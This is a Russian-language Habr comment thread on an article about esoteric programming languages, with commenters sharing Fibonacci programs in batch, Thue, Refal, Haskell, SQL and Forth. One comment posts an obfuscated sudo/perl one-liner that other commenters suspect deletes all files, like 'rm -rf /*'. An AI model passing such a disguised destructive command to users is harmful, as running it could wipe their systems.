Pull to refresh

Comments 89

а что ужасного в реализации этого алгоритма на встроенном языке 1с?
русскими буковками? Используйте английские
забавно. Никогда не думал, что единственным ответом мой вопрос может быть такая сентенция.
Можно все-таки услышать внятные аргументы?
Как видите, многие пользователи Хабра используют условные рефлексы и эмоции вместо аргументов. Лично я бы привел в качестве номера одни ru.wikipedia.org/wiki/Malbolge или похожие на него, однако 1С Бухгалтерия, видимо, принесла горе и проклятие в многие семьи, и эта ненависть передается из поколения в поколение.
еще как вижу. Вообще кстати рад что в последнее время на хабре тема 1с хоть как-то, но раскрывается. Пусть даже и такими отзывами.
[i]
Как-то раз 1C: Бухгалтерия увела у меня девушку, задавила мою собаку и съела мой завтрак!
[/i]
Процедура ЧислаФибоначчи()
Ф0 = 0;
Ф1 = 1;
для й = 1 по 16 цикл
Ф = Ф0 + Ф1;
Сообщить (Ф0);
Ф0 = Ф1;
Ф1 = Ф;
конецЦикла;
КонецПроцедуры

Испугались?:)
Кто писал под 1С — тот в цирке не смеется…
к счастью всего лишь 3 месяца.
мне хватило. после питона — это была пытка.
Нет там ничего ужасно.
Поставившие плюсики просто не знают встроенный язык 1с, и это незнание приводит их в ужас :)
Приведите код на 1с который будет страшнее хотя бы брейнфака =)
Перенесла, спасибо. Хотя с другой стороны — в рамках данных языков такие программы вполне нормальны, это со стороны страшно :-)
Статья просто супер :) порадовали языки типа Brainfuck и Brainloller.
в очередной раз выкладываю ссылку на большую статью из компьютерры о эзотерических языках.
Когда-то Brainfuck меня тоже очень впечатлил: bf.kzn.ru/
я ещё делал так:

нам понадобятся следующие операции:

положить число на вершину стека
file: [.bat
  set /a sp+=1
  call set /a s%sp%=%1


снять число с вершины стека
file: ].bat
  set /a sp-=1


положить число на вершину стека из аккумулятора
file: [a.bat
  set /a sp+=1
  call set /a s%sp%=%%accum%%


снять число с вершины стека в аккумулятор
file: ]a.bat
  call set scc=%%s%sp%%%
  call set accum=%%scc%%
  set /a sp-=1


сложить два числа на вершине стека
file: +.bat
  set /a sp1=sp-1
  call set /a s%sp1%+=s%sp%
  set sp=%sp1%


вычесть два числа на вершине стека
file: -.bat
  set /a sp1=sp-1
  call set /a s%sp1%-=s%sp%
  set sp=%sp1%


положить в аккумулятор число из стека, которое находится на смещении, которое лежит на вершине стека
file: load_av.bat
  call ]a
  set /a spp=sp-%accum%
  call set scc=%%s%spp%%%
  call set accum=%%scc%%


распечатать число на вершине стека
file: print.bat
  @echo off
  call set /a scc=%%s%sp%%%
  call echo.%%scc%%


теперь можно сделать что-то полезное, например посчитать числа Фибоначчи

пишем рекурсивную функцию:

file: --fib.bat
  call ]a         
  if %accum%==0 (
    call [ 0
    exit /b
  )
  if %accum%==1 (
    call [ 1
    exit /b
  )

  call [a         
  call [a         
  call [ 1        
  call -          
  call --fib

  call [ 1        
  call load_av    
  call [a         
  call [ 2        
  call -          
  call --fib
  
  call +          
  call ]a         
  call ]          
  call [a         


ну и обёртку для неё

file: ---formula.bat
  (
  call [ %1  
  call --fib  
  call print>con
  )>nul


и вызываем:

D:\temp\bat>---formula.bat 10

D:\temp\bat>(
 call [ 10
 call --fib
 call print 1>con
) 1>nul
55


55 — правильный ответ :)
Nicolette, спасибо, я ждал этот пост!
асм на батах это джаз
Аплодирую даме стоя! Статья просто на отлично, спасибо.
> Brainloller
Мне понравилось! А оно умеет делать драйверы ядра? Работать с TCP/IP? =)
Поскольку язык Тьюринг-полный, то умеет делать все. А поскольку эзотерический — то ценой невероятных лишений, на которые не пойдет ни один здравомыслящий человек :-)
Зато как круто будет писать программы на нем художникам! ;)
Числа фибоначчи на Thue ( esoteric.voxelperfect.net/wiki/Thue )

#::= print Fibonacci numbers
#::= Laurent Vogel, 2002-11-08

#::= Unary-Coded Decimal (UCD) numbers:
#::= each digit is as many '*' chars;
#::= Digits are separated with ','.
#::= Hence ',' is 0 and '*,,' is 10.
#::= digits are reversed (digit := 9 — digit) before and
#::= after addition, to detect overflow when trying to
#::= remove a '*' from ','.

()::=_

#::= reverse and print UCD numbers
_*********,::=,_.0
_********,::=,*_.1
_*******,::=,**_.2
_******,::=,***_.3
_*****,::=,****_.4
_****,::=,*****_.5
_***,::=,******_.6
_**,::=,*******_.7
_*,::=,********_.8
_,::=,*********_.9

.0::=~0
.1::=~1
.2::=~2
.3::=~3
.4::=~4
.5::=~5
.6::=~6
.7::=~7
.8::=~8
.9::=~9

#::= messages
,,::=,0>
1>,::=,1>
2>,::=,2>
0>*::=*0>
1>*::=*1>
2>*::=*2>
0>|::=|0>
1>|::=|1>
2>|::=|2>

#::= redundant, but for speed — These provoke bugs in the
#::= original implementation.
#::= ****
#::= 1>****::=****1>
#::= 2>****::=****2>
#::= *******
#::= 1>*******::=*******1>
#::= 2>*******::=*******2>

#::= swap left and right numbers
,a::=b1>
*a::=b2>
1>c::=c::=c::=f|d

#::= reverse right number
d::=*********e
*e*::=e
e,::=,d
e]::=g::=1>g*
,1>g::=g::=|g::=ig
*i::=<
,i::=i,*********
|i::=g::=

#::= when printed, activate a again to swap
_]::=.\
#::= when printed, activate a again to swap
_]::=.\
#::= when printed, activate a again to swap
_]::=.<c]
.\::=~\n
#::= the comma was left behind after printing
j<,::=a

::=

[j,*(.0)]

Источник: lvogel.free.fr/thue.htm

(P.S… Ох уж этот парсер… )
Не забыли, а не осилили. Пока что :-)
Там команды идентичны, только записаны по-другому.

Есть трансляторы из BF в WS, Ook и прочие ему подобные.
Неправда. Он размазан в пробелах самой статьи %) Истина где-то рядом
нашел для себя интересное — язык sanscript
может кто то еще что то такое подскажет — программирование в виде функциональных визуальных блоков
Попробуйте Windows Workflow Foundation — мощная штука.
HiAsm посмотрите. «Рисование» программ для десктопных приложений, наладонников на winmobile, WEB. Код генерится для pascal, и, вроде бы, с++, а также PHP и Javascript.
кстати так и не пришел линк на скачивание sancript.
подскажите пожалуйста — где его можно скачать?
www.sans c ript.net/DEMOFORM.HTM (хабр с отвращением относится к слову скрипт)
Надо ещё добавить скрипт для машины Тьюринга :)
Ну фактически это и будет Brainfuck тогда.
мама, роди меня назад!
чего только не придумают…
Да что уж там, сразу:
sudo echo «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
бля такое не льзя писать, кто нибудь ведь попробует
Да ладно, кто-то уже пробовал, кому-то это не страшно, остальных пощадит парсер, сделавший черт знает что с кавычками.
А как же это работает?
прям шифровка какая-то )
По-моему там что-то типа rm -rf /*, что означает удаление всех файлов
Ну, без sudo же не получится…
sudo не там написал, нужно перед perl
UFO just landed and posted this here
на Firebird можно похоже

WITH RECURSIVE t(a, b) AS (
select 1, 1 from rdb$database
UNION ALL
SELECT b, a + b FROM t
)
SELECT a FROM t rows 16 to 16
О!
Много лет назад у Novell был продукт AppWare (http://en.wikipedia.org/wiki/AppWare) с аналогичной идеей. У меня даже лицензионная коробка валяется :)))
Про Sanscript не знал… интерфейсом очень похож на программы имитационного моделирования…
Реализация на 7.4. Microsoft SQL Server прокатит только начиная с версии 2005.
Спасибо, добавила уточнение.
$ENTRY Go
{
     = <Prout <Symb <FN <Numb <Card>>>>;
}

FN
{
     s.Number = <FN s.Number 0 1>;
}

DoFN
{
     0 s.Current s.Next = s.Current;
     s.Counter s.Current s.Next =
          <DoFN <Sub s.Counter 1> s.Next <Add s.Current s.Next>>;
}


Рефал
Лично я на рефале дальше фибоначчи и факториала так и не пошел %) Хотя Турчин, разумеется, рулит
Я в принципе тоже, хоть и изучал его, не вижу особого применения.
Не флейма ради, но есть впечатление, что вы сделали упор на «запутанность» и «противоестественность» вычисления, а не на… хм, скажем так, неожиданность.

Например, ваш код на Haskell
module Main where
import Text.Printf

fibs :: [Int]
fibs = 0 : 1 : zipWith (+) fibs (tail fibs)

line n = printf "%d, " $ fibs !! n

main = do
sequence_ $ map line [1..16]
putStrLn "..."


можно было бы написать как

main = putStrLn $ withDots $ join $ take 16 fibs
       where fibs = 1 : 1 : zipWith (+) fibs (tail fibs)
             join = foldl (\a b -> a ++ show b ++ ", " ) "" 
             withDots = (++ "...")


, и вы знаете, я не поручусь, что этот вариант менее понятен, чем «классические» императивные варианты. Даже смысл доллара можно интуитивно осознать (ну, если знать, строка какого вида получится в результате).

А тот же J интересен не тем, что «практически любое выражение на нем можно записать несколькими способами» (сложно найти язык, на котором нельзя), и не тем, что в нём используется некая «парадигма программирования на уровне функций» (я бы использовал в переводе термины «функциональный подход», «функции высшего порядка» и «комбинаторы» — но опять же, с этой точки зрения он не особо отличается от того же Haskell-а), — не тем, что на нём можно писать странные и запутанные программы, что для нормальных людей и нормальных языков обычно минус, а тем, что он — векторный на уровне языка. Что есть очень интересный и редкий плюс.
Упор сделан в полном соответствии с заголовком статьи :-)

Если серьезно, мне вообще Haskell и J дались с трудом, FP и Hanoi Love и то проще, и пишу я на них достаточно криво, так что что вышло — то вышло. Векторных языков не так мало, тот же FP, просто до большинства из них я еще не добралась.
А можно было взять и написать просто и ясно:
fib :: Int -> Int
fib 0 = 0
fib 1 = 1
fib x = fib (x — 1) + fib (x — 2)
И трапнуться из-за отсутствия хвостовой рекурсии — посчитайте-ка им 50-е значение. Или 100-е.

Не говоря уже про то, что в данной задаче речь не только о написании алгоритма (которого в моём коде ровно одна строчка,
fibs = 0 : 1 : zipWith (+) fibs (tail fibs)
), но и подгонке к требуемому формату вывода (которым занимаются все остальные строчки).
Причем тут хвостовая рекурсия? :)
Проблемы с производительностью из-за отсутствия запоминания ответов, получается что fib 1 вызывается fib n раз
Это да. Но при возникновении хвостовой рекурсии потребность в запоминании ответов даже не возникла бы.
Можно объяснить как? Хвостовая рекурсия к функции sylvio вообще неприменима. Или вы предлагаете записать функцию так?:

fib :: Integer -> Integer
fib n = f 0 1 n
  where
    f a b 0 = a
    f a b n = f b (a+b) (n-1)



В такой реализации хвостовая рекурсия применима, но на производительность тоже не особо влияет.
Oracle 11g:

with t (n, c2, c3) as
(
  select 1, 0, 1 from dual union all
  select n + rownum, c3, c2+c3  from t where n <= 16
)
--
--
select n, c2 fibonacci from t


Как указали выше, Malbolge даст фору первому номеру в списке, т.к. программу на нем придется писать на суперкомпьютере методом случайного перебора.
В статье я ограничилась только языками, на которых я действительно написала программу. Суперкомпьютера под рукой не было :-)
A bit of python…
print '\n'.join(map(str,reduce(lambda a,b:a+[a[-1]+a[-2]],range(10),[0,1])))
Всегда нравились ваши интересные и веселые заметки. А это особенно удалась. Кстати Unary на Rosseta Code не нашел :)
Rosetta Code делает упор скорее на живые языки, чем на эзотерические. Там нет еще и Sanscript, Scratch, Hanoi Love, а FP присутствует чисто символически (ну еще бы :-)).
: fib ( n -- f )
  0 1 rot 0 ?do over + swap loop drop ;


10 fib . 55 ok
По поводу Brainloller: вы бы ещё на перфокартах написали!
UFO just landed and posted this here
UFO just landed and posted this here
Sign up to leave a comment.

Articles